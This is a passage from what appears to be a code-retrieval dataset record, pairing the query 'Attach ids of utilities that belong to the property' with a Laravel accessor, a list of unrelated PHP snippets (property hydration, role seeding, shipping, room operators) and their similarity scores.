Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "function seedCapacityRoles()\n {\n echo \"ADD RECORDS IN TABLE capacity role : \";\n for ($i=0;$i<27;$i++)\n {\n /** Role_id\n * 6 --> Administrateur\n * 5 --> Direction de l'entreprise\n * 4 --> Employé du service ressources humaines\n * 3 --> Employé du service de maintenance technique\n * 2 --> Employé du service de maintenance info\n * 1 --> Employé\n *\n * Capacity_id\n * 1 --> Peut ajouter des tâches\n * 2 --> Peut assigner des tâches\n * 3 --> Peut supprimer des tâches\n * 4 --> Peut modifier les tâches\n * 5 --> Peut visualiser les graphiques\n * 6 --> Peut afficher ses tâches\n * 7 --> Peut afficher la liste des utilisateurs classé par role\n * 8 --> Peut afficher toutes les tâches\n */\n\n // Ajout des capacités pour l'admin\n $roleId=[6,6,6,6,6,6,6,6];\n $capacityId=[1,2,3,4,5,6,7,8];\n\n //Ajout des capacités pour la direction\n array_push($roleId,5,5,5,5,5);\n array_push($capacityId,1,5,6,7,8);\n\n //Ajout des capacités pour les employés du service ressources humaines\n array_push($roleId,4,4);\n array_push($capacityId,1,6);\n\n //Ajout des capacités pour les employés du service de maintenance technique\n array_push($roleId,3,3,3,3,3);\n array_push($capacityId,1,2,4,6,8);\n\n //Ajout des capacités pour les employés du service de maintenance informatique\n array_push($roleId,2,2,2,2,2);\n array_push($capacityId,1,2,4,6,8);\n\n //Ajout des capacités pour les employés\n array_push($roleId,1,1);\n array_push($capacityId,1,6);\n\n $capacitiesRoles= [\n 'role_id' => $roleId[$i],\n 'capacity_id' => $capacityId[$i]\n ];\n if (Capacities_Roles::count('role_id=\"'.$capacitiesRoles[\"role_id\"].'\" AND capacity_id=\"'.$capacitiesRoles['capacity_id'].'\"')==0)\n {\n Capacities_Roles::create($capacitiesRoles);\n }\n echo \"-\";\n }\n echo \"\\n\";\n }", "public function asignaEquipo($id)\n {\n $empresa_id = $id; \n\n if($empresa_id !='crea') {\n $supervisores = User::join('cat_usuarioempresa', 'cat_usuarioempresa.USER_ID', '=', 'users.id')\n ->join('cat_empresa', 'cat_empresa.ID', '=', 'cat_usuarioempresa.EMPRESA_ID')\n ->join('users_roles', 'users_roles.user_id', '=', 'users.id')\n ->where('cat_empresa.ID', '=', $empresa_id)\n ->where('users_roles.role_id', '=', 5)\n ->lists('users.nombre', 'users.id')\n ->toArray();\n\n $asignados = User::join('cat_supervisor_vendedor', 'cat_supervisor_vendedor.VENDEDOR_ID_USUARIO', '=', 'users.id')\n ->join('cat_usuarioempresa', 'cat_usuarioempresa.USER_ID', '=', 'users.id')\n ->join('cat_empresa', 'cat_empresa.ID', '=', 'cat_usuarioempresa.EMPRESA_ID')\n ->join('users_roles', 'users_roles.user_id', '=', 'users.id')\n //->where('users.id', '=', $usuario_id)\n ->where('cat_empresa.ID', '=', $empresa_id)\n ->where('users_roles.role_id', '=', 7)\n ->where('users.anulado', '=', 0)\n ->where('cat_supervisor_vendedor.ANULADO', '=', 0)\n ->lists('users.id')\n ->toArray();\n\n $vendedores = User::join('cat_usuarioempresa', 'cat_usuarioempresa.USER_ID', '=', 'users.id')\n ->join('cat_empresa', 'cat_empresa.ID', '=', 'cat_usuarioempresa.EMPRESA_ID')\n ->join('users_roles', 'users_roles.user_id', '=', 'users.id')\n ->where('cat_empresa.ID', '=', $empresa_id)\n ->where('users_roles.role_id', '=', 7)\n ->where('users.anulado', '=', 0)\n ->where('cat_usuarioempresa.ANULADO', '=', 0)\n ->whereNotIn('users.id', $asignados)\n ->lists('users.nombre', 'users.id')\n ->toArray();\n\n return view('equipos.asignacion', compact('empresa_id', 'supervisores', 'vendedores'));\n } else {\n return redirect::to('empresas');\n }\n\n\n \n }", "public function revisionIds(LocationInterface $entity);", "public static function markAsPaids($ids) {\n\n if(!is_array($ids)){\n $ids = array($ids);\n }\n\n $criteria = new CDbCriteria;\n $criteria->addInCondition('id', $ids);\n \n return self::model()->updateAll(array(\n 'status' => parent::STATUS_PAID,\n 'admin_id' => Yii::app()->user->getId(),\n\n //no reason to keep this (cause we will save to history)\n 'decline_reason' => null,\n 'comment' => null,\n\n ), $criteria);\n }", "public function roles(): MorphToMany;", "public function toOptionIdArray($collection)\n {\n $res = array();\n $existingIdentifiers = array();\n foreach ($collection as $item) {\n $identifier = $item->getData('identifier');\n\n $data['value'] = $identifier;\n $data['label'] = $item->getData('title');\n\n if (in_array($identifier, $existingIdentifiers)) {\n $data['value'] .= '|' . $item->getData('page_id');\n } else {\n $existingIdentifiers[] = $identifier;\n }\n\n $res[] = $data;\n }\n\n return $res;\n }", "public function initAssignedPrayersRelatedByPatientId($overrideExisting = true)\n {\n if (null !== $this->collAssignedPrayersRelatedByPatientId && !$overrideExisting) {\n return;\n }\n $this->collAssignedPrayersRelatedByPatientId = new ObjectCollection();\n $this->collAssignedPrayersRelatedByPatientId->setModel('\\AssignedPrayer');\n }", "public function addOperatorsToRoom($admins, $locationID) {\n\t\t$locationID = $this->db->escape($locationID);\n\n\t\tforeach($admins as $admin) {\n\t\t\t$params = array(\n\t\t\t\t\"UserID\" => $admin,\n\t\t\t\t\"RoomID\" => $locationID\n\t\t\t);\n\n\t\t\t// $this->db->insert('UserRoom', $params);\n\n\t\t\t$this->db->query(\"\n\t\t\t\tINSERT INTO UserRoom (UserRoleID, RoomID)\n\t\t\t\tVALUES (\n\t\t\t\t\t(SELECT UserRoleID FROM UserRole ur\n\t\t\t\t\t\tJOIN UserType ut ON ur.UserTypeID = ut.UserTypeID\n\t\t\t\t\t\tJOIN User u ON u.UserID = ur.UserID\n\t\t\t\t\tWHERE UserTypeName = 'VenueOperator'\n\t\t\t\t\t\tAND ur.UserID = {$params['UserID']}),\n\t\t\t\t\t{$params['RoomID']} )\n\t\t\t\");\n\n\t\t\t$venues = $this->db->query(\"\n\t\t\t\tSELECT DISTINCT v.VenueID FROM Venue v\n\t\t\t\tJOIN Room r ON r.RoomID = v.RoomID\n\t\t\t\tJOIN VenueUserRole vur ON vur.VenueID = v.VenueID\n\t\t\t\tLEFT JOIN Approval appr ON appr.VenueUserRoleID = vur.VenueUserRoleID\n\t\t\t\tWHERE r.RoomID = {$params['RoomID']}\n\t\t\t\t\tAND appr.ApprovalID IS NULL\n\t\t\t\t\t\n\t\t\t\");\n\n\t\t\techo 'venues query: ' . var_dump($venues);\n\t\t\t$venues = $venues->result_array();\n\t\t\techo '<pre>Venues';\n\t\t\tvar_dump($venues);\n\t\t\techo '</pre>';\n\n\t\t\t# Add approvals to venues affected by this change so the admin can approve/deny locations in open applications\n\t\t\t# \n\n\n\n\t\t\t$userRoleID = $this->db->query(\"SELECT UserRoleID FROM UserRole ur\n\t\t\t\t\t\tJOIN UserType ut ON ur.UserTypeID = ut.UserTypeID\n\t\t\t\t\t\tJOIN User u ON u.UserID = ur.UserID\n\t\t\t\t\tWHERE UserTypeName = 'VenueOperator'\n\t\t\t\t\t\tAND ur.UserID = {$params['UserID']}\")->result_array()[0]['UserRoleID'];\n\n\t\t\tvar_dump($userRoleID);\n\n\t\t\t$this->approval->createApprovalsForOperator($venues, $userRoleID);\n\t\t}\n\t}", "public function setShippingItemsInformation($bundleAddressId, $shopAddressId, $dealsAddressId) {\n $helper = Mage::helper('horsebrands_rewrites/checkout');\n $quote = $this->getQuote();\n $addresses = $quote->getAllShippingAddresses();\n foreach ($addresses as $address) {\n $quote->removeAddress($address->getId());\n }\n\n $this->_addShippingItems($quote->getAllItems(), $bundleAddressId);\n $this->_addShippingItems($helper->getItemsExceptStoreId($quote->getAllItems(), 2), $shopAddressId);\n $this->_addShippingItems($helper->getItemsByStoreId($quote->getAllItems(), 2), $dealsAddressId);\n\n if ($billingAddress = $quote->getBillingAddress()) {\n $quote->removeAddress($billingAddress->getId());\n }\n\n if ($customerDefaultBilling = $this->getCustomerDefaultBillingAddress()) {\n $quote->getBillingAddress()->importCustomerAddress($customerDefaultBilling);\n }\n\n foreach ($quote->getAllItems() as $_item) {\n if (!$_item->getProduct()->getIsVirtual()) {\n continue;\n }\n\n if (isset($itemsInfo[$_item->getId()]['qty'])) {\n if ($qty = (int)$itemsInfo[$_item->getId()]['qty']) {\n $_item->setQty($qty);\n $quote->getBillingAddress()->addItem($_item);\n } else {\n $_item->setQty(0);\n $quote->removeItem($_item->getId());\n }\n }\n\n }\n\n $this->save();\n Mage::dispatchEvent('checkout_type_multishipping_set_shipping_items', array('quote'=>$quote));\n\n return $this;\n }", "public function resetPartialAssignedPrayersRelatedByAgentId($v = true)\n {\n $this->collAssignedPrayersRelatedByAgentIdPartial = $v;\n }" ]
[ "0.59695023", "0.5592355", "0.5519928", "0.50788265", "0.4984267", "0.49646252", "0.49623868", "0.49561778", "0.49453518", "0.49078664", "0.48412922", "0.4839164", "0.48146242", "0.47847247", "0.4768297", "0.4761813", "0.4747934", "0.47055477", "0.46936214", "0.46753767", "0.4638202", "0.4610322", "0.45928225", "0.4589798", "0.45742112", "0.45679358", "0.45463794", "0.4545888", "0.4529759", "0.45160666", "0.45144513", "0.45000646", "0.44906113", "0.44900513", "0.44878292", "0.4454541", "0.44506055", "0.44399396", "0.443608", "0.44360134", "0.4422567", "0.44155243", "0.44131848", "0.44018558", "0.4401154", "0.43923444", "0.43874887", "0.43859583", "0.43842357", "0.43816593", "0.43809637", "0.43724316", "0.43623486", "0.43577906", "0.43565476", "0.43487874", "0.4348596", "0.4347539", "0.43465966", "0.43393826", "0.43388683", "0.43374535", "0.43361136", "0.4329067", "0.4325214", "0.43238252", "0.43217877", "0.43207678", "0.43139362", "0.43123025", "0.43108577", "0.43081856", "0.4293337", "0.42895862", "0.4285747", "0.42820305", "0.42805415", "0.42804357", "0.42760605", "0.4253486", "0.42462292", "0.42458445", "0.42451584", "0.42400765", "0.4239072", "0.42370707", "0.42338455", "0.42310554", "0.42300883", "0.42298082", "0.42257553", "0.4218579", "0.42177853", "0.4213196", "0.42103636", "0.42094046", "0.4209088", "0.42036006", "0.42012504", "0.4199605" ]
0.71790624
0
Attach ids of utilities that belong to the property.
public function utilityIds() { $this->attributes['utilityIds'] = $this->utilities->pluck('id'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function utilities()\n {\n return $this->belongsToMany('App\\Models\\Properties\\Utility');\n }", "function set_properties_by_id () {\n\t\t$stm = DB::$pdo->prepare(\"select * from `generated_object` where `id`=:id\");\n\t\t$stm->bindParam(':id', $this->id);\n\t\t$stm->execute();\n\t\t$res = $stm->fetch();\n\n\t\t$this->set_properties_by_array($res);\n\t}", "public function limpaArrayIdsObjetosManipulados()\n {\n \t// limpando o array de ids de objetos manipulados\n \t$this->_arrayObjetosManipulados = array();\n }", "public static function getIDProperties()\n {\n return static::$ids;\n }", "public function amenityIds()\n {\n $this->attributes['amenityIds'] = $this->amenities->pluck('id');\n }", "public function addUtility($adsUtility) {\n $this->adsUtilities[$adsUtility] = $adsUtility;\n }", "private function mapProperties(): void\n {\n $this->properties = Collect::keyBy($this->collection->getProperties()->getValues(), 'identifier');\n }", "function attach_repository_id(&$value, $key, $id){\n $value['repo_id'] = $id;\n}", "protected function getUIDAsProperty()\n {\n $builder = self::builder('uid');\n return $builder->setValue($this->checkSetUID())->build();\n }", "public function duplicate_tools($tools_id){\n\t\t$tools = $this->db->query(\"SELECT * FROM integration_tools WHERE id=\". (int)$tools_id)->row_array();\n\t\t// append duplicate keyword in name\n\t\t$tools['name'] = $tools['name'] .\" - Duplicate\";\n\n\t\t// update created date\n\t\t$tools['created_at'] = date(\"Y-m-d H:i:s\");\n\n\t\t// remove primary key value. bcoz can't duplicate\n\t\tunset($tools['id']);\n\n\t\t// create new records & get new created id (primary key)\n\t\t$this->db->insert(\"integration_tools\", $tools);\n\t\t$new_tool_id = $this->db->insert_id();\n\n\n\t\t// Tools record store in two table so we need to copy second table records also....\n\t\t// Find The Record from integration_tools_ads table by tools id Note Records can be more thana one\n\t\t$tools_ads = $this->db->query(\"SELECT * FROM integration_tools_ads WHERE tools_id=\". (int)$tools_id)->result_array();\n\t\t\n\t\tforeach ($tools_ads as $key => $ads) {\n\t\t\t// remove primary key value. bcoz can't duplicate\n\t\t\tunset($ads['id']);\n\n\t\t\t// add new tools id\n\t\t\t$ads['tools_id'] = $new_tool_id;\n\n\t\t\t// copy images if banner\n\t\t\tif($ads['ads_type'] == 'banner'){\n\t\t\t\t$base_path = \"assets/integration/uploads/{$tools_id}/\";\n\t\t\t\t$new_base_path = \"assets/integration/uploads/{$new_tool_id}/\";\n\t\t\t\tif (!file_exists($new_base_path)) { mkdir($new_base_path, 0777, true); }\n\n\t\t\t\t$base_path .= $ads['value'];\n\t\t\t\t$new_base_path .= $ads['value'];\n\t\t\t\tcopy($base_path, $new_base_path);\n\t\t\t}\n\n\t\t\t// create new records & get new created id (primary key)\n\t\t\t$this->db->insert(\"integration_tools_ads\", $ads);\n\t\t}\n\t}", "private function buildIds(){\n\n\t\t$string = 'data-id=\"'.$this->fullId.'\" ';\n\t\t$string .= 'data-column_id=\"'.$this->id.'\" ';\n\t\t$string .= 'data-section_id=\"'.$this->section_id.'\" ';\n\t\t$string .= 'data-post_id=\"'.$this->post_id.'\" ';\n\n\t\treturn $string;\n\t}", "public function attachMatkul(){\n return Mahasiswa::find(1)->mata_kuliah()->attach([3,4,6]);\n }", "public function test_setupids() {\n $ratings = array();\n $ratings[1] = new \\stdClass();\n $ratings[1]->userid = 3;\n $ratings[1]->choiceid = 1;\n $ratings[1]->rating = 5;\n\n $ratings[2] = new \\stdClass();\n $ratings[2]->userid = 3;\n $ratings[2]->choiceid = 2;\n $ratings[2]->rating = 3;\n\n $ratings[3] = new \\stdClass();\n $ratings[3]->userid = 2;\n $ratings[3]->choiceid = 1;\n $ratings[3]->rating = 5;\n\n $ratings[4] = new \\stdClass();\n $ratings[4]->userid = 2;\n $ratings[4]->choiceid = 2;\n $ratings[4]->rating = 2;\n\n $usercount = 2;\n list($fromuserid, $touserid, $fromchoiceid, $tochoiceid) = \\solver_edmonds_karp::setup_id_conversions($usercount, $ratings);\n\n $this->assertEquals(array(3 => 1, 2 => 2), $fromuserid);\n $this->assertEquals(array(1 => 3, 2 => 2), $touserid);\n\n $this->assertEquals(array(1 => 3, 2 => 4), $fromchoiceid);\n $this->assertEquals(array(3 => 1, 4 => 2), $tochoiceid);\n }", "public static function officeIds()\n {\n return collect([\n AdminOffice::all()->first()->office_id,\n Auth::user()->office_id,\n ])->unique();\n }", "function gen_id() {\n\t\t$this->id = get_uid();\n\t\t$this->mk_paths($this->id);\n\t}", "protected function _fillAvailableProperties()\n {\n $properties = array(\n __(\"Special Properties\") => array(\n 0 => __(\"<Unmapped>\"),\n -1 => __(\"Tags\"),\n -2 => __(\"File\"),\n -3 => __(\"Item Type\"),\n -4 => __(\"Collection\"),\n -5 => __(\"Public\"),\n -6 => __(\"Featured\"),\n )\n );\n $elementSets = $this->_helper->db->getTable('ElementSet')->findAll();\n foreach ($elementSets as $elementSet)\n {\n $idNamePairs = array();\n $elementTexts = $elementSet->getElements();\n foreach ($elementTexts as $elementText)\n {\n $idNamePairs[$elementText->id] = $elementText->name;\n }\n $properties[$elementSet->name] = $idNamePairs;\n }\n $this->view->available_properties = $properties;\n }", "public function setNameAndId() {}", "public function getIds()\n {\n\n }", "function setUpTargets(){\r\n\t\t$pupils = $this->Query(\"SELECT id FROM pupils\");\r\n\t\t$sql = '';\r\n\t\tforeach($pupils as $k=>$v){\r\n\t\t\t$sql .= 'INSERT INTO pupils_targets VALUES(NULL,1,'.$v['pupils']['id'].');';\r\n\t\t}\r\n\t\t$this->Query($sql);\r\n\t}", "private function addIdentityFieldsToUser()\n {\n\n /** @var CrudService $service */\n $service = $this->container->get('shopware_attribute.crud_service');\n\n foreach (self::PROVIDERS as $provider) {\n $service->update('s_user_attributes', strtolower($provider) . '_identity', 'string', [\n 'label' => 'Identity ' . $provider,\n\n //user has the opportunity to translate the attribute field for each shop\n 'translatable' => false,\n\n //attribute will be displayed in the backend module\n 'displayInBackend' => true,\n\n //in case of multi_selection or single_selection type, article entities can be selected,\n 'entity' => Customer::class,\n\n //numeric position for the backend view, sorted ascending\n 'position' => 100,\n\n //user can modify the attribute in the free text field module\n 'custom' => false,\n ]);\n }\n\n $models = $this->container->get('models');\n $metaDataCache = $models->getConfiguration()->getMetadataCacheImpl();\n $metaDataCache->deleteAll();\n $models->generateAttributeModels(['s_user_attributes']);\n }", "function getArticleUids() \t{\n \t\treturn $this->articles_uids;\n \t}", "public function idsDataProvider() {\n $data['ids'] = [\n 'configuration' => [\n 'ids' => [\n 'id',\n 'paragraph',\n ],\n ],\n 'expected' => [\n 'id' => [\n 'type' => 'string',\n ],\n 'paragraph' => [\n 'type' => 'string',\n ],\n ],\n ];\n return $data;\n }", "protected function set_product_ids() {\n\n\t\t// get the products selected for the report\n\t\t$this->product_ids = isset( $_GET['product_ids'] ) ? array_filter( array_map( 'absint', (array) $_GET['product_ids'] ) ) : array();\n\t}", "protected function populateInstanceActionIds()\n {\n populateActiveIds($this->instanceActiveIdHash, $this->instanceIdsIdentifier);\n\n // Same, for per-edah filter.\n if ($this->activeEdotFilterTable) {\n $multiColName = $this->activeEdotFilterTable;\n populateActiveIds($this->activeEdotHash, $multiColName);\n }\n }", "public function setGlobalUuids($uuids);", "public function getUtilisateurs();", "private function computeIdentifierAttribute(): void\n {\n $data = $this->content->jsonSerialize();\n $this->attributes['data-bb-identifier'] = str_replace('\\\\', '/', $data['type']) . '(' . $data['uid'] . ')';\n }", "public static function bootUuids()\n {\n /**\n * Attach to the 'creating' Model Event to provide a UUID\n * for the `id` field (provided by $model->getKeyName())\n */\n static::creating(function ($model) {\n $model->{$model->getKeyName()} = (string)Uuid::generate();\n });\n\n /**\n * Attach to the 'creating' Model Event to provide a UUID\n * for the `id` field (provided by $model->getKeyName())\n */\n static::pivotAttaching(function ($model, $pivotRelation, $pivotIds, $pivotIdsAttributes) {\n $pivotRelation->attributes['id'] = (string)Uuid::generate();\n });\n\n }", "protected function addAdditionalIdentityPropertiesIfNeeded() {}", "function addAttendeesIDs($attendees) {\n foreach ($attendees as &$attendee){\n $attendee = addAttendeeID($attendee);\n }\n return $attendees;\n}", "public function getTaphonomyListAttribute()\n {\n return $this->taphonomys->pluck('id')->all();\n }", "function produceOId(&$array) {\n for ($i = 0;$i < count($array);$i++) {\n if (!isset($array[$i]->_id)) continue;\n $array[$i]->_id = $array[$i]->_id->__toString();\n }\n\n}", "protected function _clearIds(): void\n {\n $this->_idSuffixes = [];\n }", "function setup_notifelms() {\n\n\tglobal $AccountId, $DefaultNotificationElms, $DB;\n\n\t$ids = array();\n\t$insert_failure = false;\n\tif(!is_numeric($AccountId) || $AccountId < 1) {\n\t\tif(ADMIN_DEBUG_MODE === true) {\n\t\t\techo \"Invalid account id\\n\";\n\t\t}\n\t\treturn $ids;\n\t}\n\n\tforeach($DefaultNotificationElms as $idx => $elmdata) {\n\t\t$sql = \"INSERT INTO NotificationElm (Id, TypeId, AccId, Name, ElmId, Height, Width, Style, DisplayOrder, InnerHtml, DisplayNotifCount, Active, Del) VALUES\n\t\t\t\t(NULL, (SELECT Id FROM NotificationElmType WHERE Type = '{$elmdata[\"type\"]}'), {$AccountId}, '{$elmdata[\"name\"]}', '{$elmdata[\"id\"]}', '{$elmdata[\"h\"]}',\n\t\t\t\t'{$elmdata[\"w\"]}', NULL, '{$elmdata[\"display\"]}', NULL, '{$elmdata[\"count\"]}', 1, 0)\";\n\t\tif(!$DB->Query($sql)) {\n\t\t\tif(ADMIN_DEBUG_MODE === true) {\n\t\t\t\techo \"Elm Insert Failure: {$DB->GetLastErrorMsg()}\\n\";\n\t\t\t}\n\t\t\t$insert_failure = true;\n\t\t} else {\n\t\t\t$ids[] = $DB->GetLastInsertedId();\n\t\t}\n\n\t\tif($elmdata[\"attribs\"] === true) {\n\t\t\tif(!add_elm_attributes($DB->GetLastInsertedId())) {\n\t\t\t\techo \"****Failed to add attribs for elm id: {$DB->GetLastInsertedId()}\\n\";\n\t\t\t}\n\t\t}\n\t}\n\n\tif($insert_failure) {\n\t\t$tmp = var_export($ids, true);\n\t\techo \"*****************\\nExperienced Insert Failure!. Data:\\n{$tmp}\\n******************\\n\";\n\t}\n\n\treturn $ids;\n}", "public function add_ids(&$log) {\n\tforeach ($this->elements as $name=>$element) {\n\t\t$this->stmt->bindvalue(':'.$name.'_id',$log[$element[1]],db_connect::PARAM_INT);\n\t\t$log[$element[1]] = \"\"; //clear the element_id field\n\t}\n\t$this->stmt->execute();\n\twhile ($row = $this->stmt->fetchObject()) {\n\t\tswitch ($row->table_name) {\n\t\tcase \"a12\":\n\t\t\t$log[$this->elements[\"task\"][1]] .= \" \".$row->value_id;\n\t\t\tbreak;\n\t\tcase \"a14\":\n\t\t\t$log[$this->elements[\"subtask\"][1]] .= \" \".$row->value_id;\n\t\t\tbreak;\n\t\tcase \"a21\":\n\t\t\t$log[$this->elements[\"account\"][1]] .= \" \".$row->value_id;\n\t\t\tbreak;\n\t\tcase \"a30\":\n\t\t\t$log[$this->elements[\"event\"][1]] .= \" \".$row->value_id;\n\t\t\tbreak;\n\t\t}\n\t\tforeach ($this->records as $key=>$value) {\n\t\t\tif ($value[\"value_id\"] == $row->value_id) {\n\t\t\t\t$this->records[$key][\"name_id\"] = 0; //this value appears here\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n}", "private function mapProperties(Collection $collection): void\n {\n // Create a properties array of this relationship\n $this->properties = Collect::keyBy($collection->getProperties()->getValues(), 'identifier');\n }", "public function addReferenceIds( $value){\n return $this->_add(2, $value);\n }", "public static function getUtilities()\n\t\t{\n\t\t\treturn self::$utilities;\n\t\t}", "public function getDefinedObjectIds() {}", "public function getDefinedObjectIds() {}", "public function getDefinedObjectIds() {}", "public function getIds();", "public function getIds();", "private function computeId(): void\n {\n /** @noinspection JsonEncodingApiUsageInspection */\n $this->id = md5(\n json_encode(\n [\n $this->simulation->id,\n $this->fn,\n $this->useEndpoints,\n $this->usePerturbation,\n collect($this->findByTags)->map(fn($t) => strtolower($t))->sort()->toArray(),\n $this->searchMode\n ]\n )\n );\n }", "function extras_champs_utilisables($connect='') {\r\n\t$tout = extras_champs_anormaux($connect);\r\n\t$objets = cextras_objets_valides();\r\n\t\r\n\t$tables_utilisables = array();\r\n\tforeach ($objets as $o){$tables_utilisables[] = $o['table'];}\r\n\tforeach ($tout as $table=>$champs) {\r\n\t\tif (!in_array($table, $tables_utilisables)) {\r\n\t\t\tunset($tout[$table]);\r\n\t\t}\r\n\t}\r\n\treturn $tout;\r\n}", "function upm_edit_admin_bar($id, $property, $value) {\r\n global $wp_admin_bar;\r\n global $current_user;\r\n wp_get_current_user();\r\n\r\n if($current_user && is_object($current_user) && is_a($current_user, 'WP_User')) {\r\n if ($current_user->has_cap('partner')) {\r\n if(!is_array($id)) {\r\n $id = [$id];\r\n }\r\n $all_nodes = $wp_admin_bar->get_nodes();\r\n\r\n foreach($all_nodes as $key => $val) {\r\n $current_node = $all_nodes[$key];\r\n $wp_admin_bar->remove_node($key);\r\n\r\n if(in_array($key, $id)) {\r\n $current_node->$property = $value;\r\n }\r\n $wp_admin_bar->add_node($current_node);\r\n }\r\n }\r\n }\r\n}", "protected function IdUserListReproduction ()\n {\n $lista = Model_listas::find('all', array\n (\n 'where' => array\n (\n array('id_usuario'=>$this->userID()),\n array('titulo'=>'reproducidas')\n )\n ));\n if(!empty($lista))\n {\n $id=0;\n foreach ($lista as $key => $value)\n {\n $id = $lista[$key]->id;\n } \n return $id; \n }\n }", "public function getArticulationListAttribute()\n {\n return $this->allarticulations->pluck('id')->all();\n }", "function sent_to($tool, $id) {\n\t\tglobal $_course;\n\t\tglobal $tbl_item_property;\n\t\t\n\t\t$sql = \"SELECT * FROM $tbl_item_property WHERE tool='$tool' AND ref='\" . $id . \"'\";\n\t\t$result = api_sql_query ( $sql, __FILE__, __LINE__ );\n\t\t\n\t\twhile ( $row = mysql_fetch_array ( $result ) ) {\n\t\t\t\n\t\t\t// if to_user_id <> 0 then it is sent to a specific user\n\t\t\tif ($row ['to_user_id'] != 0) {\n\t\t\t\t$sent_to_user [] = $row ['to_user_id'];\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (isset ( $sent_to_user )) {\n\t\t\t$sent_to ['users'] = $sent_to_user;\n\t\t}\n\t\treturn $sent_to;\n\t}", "public function property_assign_details()\n\t{\n\t\t\t$strSql = \"SELECT DISTINCT(user_id) FROM \".TBL_ASSIGN_PROPERTY;\n\t\t\t$this->objSet = $this->objDatabase->dbQuery($strSql);\n\t\t\treturn $this->objSet;\n\t}", "public function obterArrayIds(Shop $shop);", "private function buildCollection(): void\n {\n //todo 這邊可以在sql裡面處理,但因為時程的關係,先用這種方法處理\n $userId = auth()->user()->id;\n $this->collection->map(function ($item) use ($userId) {\n $item->isAuthor = ($item->user_id == $userId);\n $item->user_id = null;\n });\n }", "function taminoGetIds() {\n $rval = $this->tamino->xquery($this->xquery);\n if ($rval) { // tamino Error\n print \"<p>LinkCollection Error: failed to retrieve linkRecord id list.<br>\";\n print \"(Tamino error code $rval)</p>\";\n } else { \n // convert xml ids into a php array \n $this->ids = array();\n $this->xml_result = $this->tamino->xml->getBranches(\"ino:response/xq:result\");\n if ($this->xml_result) {\n\t// Cycle through all of the branches \n\tforeach ($this->xml_result as $branch) {\n\t if ($att = $branch->getTagAttribute(\"id\", \"xq:attribute\")) {\n\t array_push($this->ids, $att);\n\t }\n\t} /* end foreach */\n } \n }\n\n }", "public function idTypes();", "public function getReferenceIdsList(){\n return $this->_get(2);\n }", "static function getAdminGuidArray() {\n $admin_array = array();\n $admins = getEntities(array(\n \"type\" => \"User\",\n \"metadata_name\" => \"level\", \"metadata_value\" => \"admin\"\n ));\n foreach ($admins as $admin) {\n $admin_array[] = $admin->\n guid;\n }\n return $admin_array;\n }", "function __construct() \n\t{\n\t\tparent::__construct();\n\n\t\t$this->attributes['id']\t\t= $this->createID('KOPERASI');\n\n\t\tif(isset($this->ext_appends))\n\t\t{\n\t\t\t$this->appends \t\t\t= array_merge($this->appends, $this->ext_appends);\n\t\t}\n\n\t}", "public function moveAllOtherUserdefinedPropertiesToAdditionalArguments() {}", "public function createUid()\n {\n $uid = uniqid();\n while (AutoEvent::where('uid', '=', $uid)->count() > 0) {\n $uid = uniqid();\n }\n $this->uid = $uid;\n }", "public function prepare_script_util( $users ) {\n\t\t$this->clear_util();\n\n\t\tforeach( $users as $user ) {\n\t\t\t$args = array(\n\t\t\t\t'primary_field' => 'wp_id', \n\t\t\t\t'primary_field_data' => $user['wp_id'], \n\t\t\t\t'field' => 'mobile_number', \n\t\t\t\t'field_data' => $user['mobile_number'],\n\t\t\t);\n\n\t\t\t$this->util->insert( $args );\n\t\t}//end foreach\n\t}", "function admin_init() {\n\t\t$conditions = array('Product.supplier_id' => array(4, 5)); // Alliance - updatovat sukl a pdk\n\t\t\n\t\t// chci nastavit, ze chci updatovat active a dostupnost\n\t\t$products = $this->ProductPropertiesProduct->Product->find('all', array(\n\t\t\t'conditions' => $conditions,\n\t\t\t'contain' => array(),\n\t\t\t'fields' => array('Product.id')\n\t\t));\n\n\t\t$productIds = Set::extract('/Product/id', $products);\n\n\t\t$properties = $this->ProductPropertiesProduct->ProductProperty->find('all', array(\n\t\t\t'conditions' => array(\n\t\t\t\t'OR' => array(\n\t\t\t\t\tarray('ProductProperty.name' => 'Product.sukl'),\n\t\t\t\t\tarray('ProductProperty.name' => 'Product.pdk_code')\n\t\t\t\t)\n\t\t\t),\n\t\t\t'contain' => array(),\n\t\t\t'fields' => array('ProductProperty.id')\n\t\t));\n\n\t\t$save = array();\n\t\t\n\t\tforeach ($products as $product) {\n\t\t\tforeach ($properties as $property) {\n\t\t\t\t$update = true;\n\t\t\t\t$save[] = array(\n\t\t\t\t\t'product_id' => $product['Product']['id'],\n\t\t\t\t\t'product_property_id' => $property['ProductProperty']['id'],\n\t\t\t\t\t'update' => $update\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\n\t\t$this->ProductPropertiesProduct->saveAll($save);\n\t\t\n\t\tdie('hotovo');\n\t}", "protected function collect_attributes() {\n\t\tforeach ( $this->properties as $key => $val ) {\n\t\t\tif ( in_array($key, self::$global_attributes) || in_array($key, static::$element_attributes) ) {\n\t\t\t\t$this->attributes[ $key ] = $val;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t// also check for compound attributes, such as data-src, aria-required, etc.\n\t\t\tforeach ( self::$global_attribute_pattern_prefixes as $prefix ) 